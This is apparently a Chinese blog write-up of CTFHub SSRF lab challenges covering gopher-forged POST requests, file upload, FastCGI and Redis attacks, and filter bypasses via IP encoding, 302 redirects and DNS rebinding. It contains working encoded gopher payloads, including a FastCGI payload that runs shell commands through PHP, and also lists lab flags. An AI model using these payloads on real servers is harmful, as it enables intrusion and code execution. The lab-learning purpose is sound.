CTFHUB SSRF

通过协议绕过

post

打开index.php F12看源码

<?php
error_reporting(0);
if (!isset($_REQUEST['url'])){
    header("Location: /?url=_");
    exit;
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);
?>

看到 header(“Location: /?url=_”); 重定向页面到GET到url的内容,根据提示我们要构造一个POST请求

127.0.0.1/flag.php F12看源码

key=92635644157d7ddc6cf24da0e781978e

POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=92635644157d7ddc6cf24da0e781978e

这是传参包裹的形式
然后进行url三次编码即

第一次url编码后要手动在所有%0A前面加上%0D,再进行后续编码
content-length为post的大小,即key值的长度

127.0.0.1/index.php/?url=gopher://127.0.0.1:80/_POST%252520%25252Fflag.php%252520HTTP%25252F1.1%25250D%25250AHost%25253A%252520127.0.0.1%25253A80%25250D%25250AContent-Type%25253A%252520application%25252Fx-www-form-urlencoded%25250D%25250AContent-Length%25253A%25252036%25250D%25250A%25250D%25250Akey%25253D92635644157d7ddc6cf24da0e781978e
这是传入的url
彩色部分是个人的key 替换成你的后即可传参

并且我在本题中传参输错时出现了这样一段话

ctfhub{b644d27a30b450b2f170c4f19ef1dd85fb1efc5d} 这是彩蛋flag 与本题无关
但是彩蛋也有好几个
首页 公众号 题目入口 Writeup 工具 赛事 真题 投稿提交
这么多彩蛋提交处该往哪提交哪

上传文件

这次需要上传文件 但网页中没有提交按钮,修改源代码添加提交按钮
在这里插入图片描述

<input type="submit" name="submit">

提交文件,并抓包
将这个包按之前同样的方式urlencode然后整合进新包里
在这里插入图片描述

fastcgi

使用gopherus在这里插入图片描述

gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH70%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00F%04%00%3C%3Fphp%20system%28%27find%20/%20-name%20flag%2A%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

然后将 /_ 后面的%01……按之前方法编码再加上前面的gopher://127.0.0.1:9000/_合并就是payload
得出flag所在位置
然后再用gopherus 将command换为cat flag所在目录
注意:这里有两个带flag的 应该cat那个文件名后带一串数字的

Redis协议

同样使用gopherus
在这里插入图片描述按照之前方式将gopher编码
然后蚁剑连
![在这里插入图片描述](https://img-blog.csdnimg.cn/c146fb59422e4560862475a8eaac6265.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAQ07lpKnni7w=,size_20,color_FFFFFF,t_70,g_se,x_16

通过改写url绕过

URL Bypass

url must startwith “http://notfound.ctfhub.com”

在这里插入图片描述

数字IP Bypass

127.0.0.1可以转换为:
十六进制 = 0x7F000001
十进制 = 2130706433
可用ping来验证
然后如此拼接
在这里插入图片描述

302跳转 Bypass

F12看index.php代码(file:///方式)

<?php
error_reporting(0);
if (!isset($_REQUEST['url'])) {
    header("Location: /?url=_");
    exit;
}
$url = $_REQUEST['url'];
if (preg_match("/127|172|10|192/", $url)) {
    exit("hacker! Ban Intranet IP");
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);
?>

只过滤了数字部分数字 可用localhost绕过 进制绕过仍可
在这里插入图片描述

DNS重绑定 Bypass

开启后有教学
通过DNS rebinding.将两域名绑定
在这里插入图片描述
在这里插入图片描述

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值